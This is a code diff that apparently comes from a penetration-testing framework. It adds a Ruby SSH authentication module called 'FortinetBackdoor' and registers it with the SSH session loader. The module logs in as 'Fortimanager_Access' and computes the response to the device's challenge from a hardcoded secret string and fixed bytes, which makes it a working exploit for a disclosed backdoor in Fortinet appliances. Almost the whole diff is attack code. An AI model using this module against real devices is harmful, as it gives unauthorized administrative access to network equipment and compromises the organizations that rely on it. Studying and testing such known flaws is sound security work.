diff --git a/lib/net/ssh/authentication/methods/fortinet_backdoor.rb b/lib/net/ssh/authentication/methods/fortinet_backdoor.rb
new file mode 100644
index 0000000000..cf6c3e04a5
--- /dev/null
+++ b/lib/net/ssh/authentication/methods/fortinet_backdoor.rb
@@ -0,0 +1,95 @@
+# -*- coding: binary -*-
+
+# https://www.ietf.org/rfc/rfc4256.txt
+
+class Net::SSH::Authentication::Methods::FortinetBackdoor < Net::SSH::Authentication::Methods::Abstract
+
+  USERAUTH_INFO_REQUEST  = 60
+  USERAUTH_INFO_RESPONSE = 61
+
+  def authenticate(service_name, username = 'Fortimanager_Access', password = nil)
+    debug { 'Sending SSH_MSG_USERAUTH_REQUEST' }
+
+    send_message(userauth_request(
+=begin
+      string    user name (ISO-10646 UTF-8, as defined in [RFC-3629])
+      string    service name (US-ASCII)
+      string    "keyboard-interactive" (US-ASCII)
+      string    language tag (as defined in [RFC-3066])
+      string    submethods (ISO-10646 UTF-8)
+=end
+      username,
+      service_name,
+      'keyboard-interactive',
+      '',
+      ''
+    ))
+
+    loop do
+      message = session.next_message
+
+      case message.type
+      when USERAUTH_SUCCESS
+        debug { 'Received SSH_MSG_USERAUTH_SUCCESS' }
+        return true
+      when USERAUTH_FAILURE
+        debug { 'Received SSH_MSG_USERAUTH_FAILURE' }
+        return false
+      when USERAUTH_INFO_REQUEST
+        debug { 'Received SSH_MSG_USERAUTH_INFO_REQUEST' }
+
+=begin
+        string    name (ISO-10646 UTF-8)
+        string    instruction (ISO-10646 UTF-8)
+        string    language tag (as defined in [RFC-3066])
+        int       num-prompts
+        string    prompt[1] (ISO-10646 UTF-8)
+        boolean   echo[1]
+        ...
+        string    prompt[num-prompts] (ISO-10646 UTF-8)
+        boolean   echo[num-prompts]
+=end
+        name        = message.read_string
+        instruction = message.read_string
+        _           = message.read_string
+
+        prompts = []
+
+        message.read_long.times do
+          prompt   = message.read_string
+          echo     = message.read_bool
+          prompts << [prompt, echo]
+        end
+
+        debug { 'Sending SSH_MSG_USERAUTH_INFO_RESPONSE' }
+
+        send_message(Net::SSH::Buffer.from(
+=begin
+          byte      SSH_MSG_USERAUTH_INFO_RESPONSE
+          int       num-responses
+          string    response[1] (ISO-10646 UTF-8)
+          ...
+          string    response[num-responses] (ISO-10646 UTF-8)
+=end
+          :byte,   USERAUTH_INFO_RESPONSE,
+          :long,   1,
+          :string, custom_handler(name, instruction, prompts)
+        ))
+      else
+        raise Net::SSH::Exception, "Received unexpected message: #{message.inspect}"
+      end
+    end
+  end
+
+  # http://seclists.org/fulldisclosure/2016/Jan/26
+  def custom_handler(title, instructions, prompt_list)
+    n = prompt_list[0][0]
+    m = Digest::SHA1.new
+    m.update("\x00" * 12)
+    m.update(n + 'FGTAbc11*xy+Qqz27')
+    m.update("\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70")
+    h = 'AK1' + Base64.encode64("\x00" * 12 + m.digest)
+    [h]
+  end
+
+end
diff --git a/lib/net/ssh/authentication/session.rb b/lib/net/ssh/authentication/session.rb
index 7e07ccf696..0412f80722 100644
--- a/lib/net/ssh/authentication/session.rb
+++ b/lib/net/ssh/authentication/session.rb
@@ -7,6 +7,7 @@ require 'net/ssh/authentication/methods/publickey'
 require 'net/ssh/authentication/methods/hostbased'
 require 'net/ssh/authentication/methods/password'
 require 'net/ssh/authentication/methods/keyboard_interactive'
+require 'net/ssh/authentication/methods/fortinet_backdoor'
 
 module Net; module SSH; module Authentication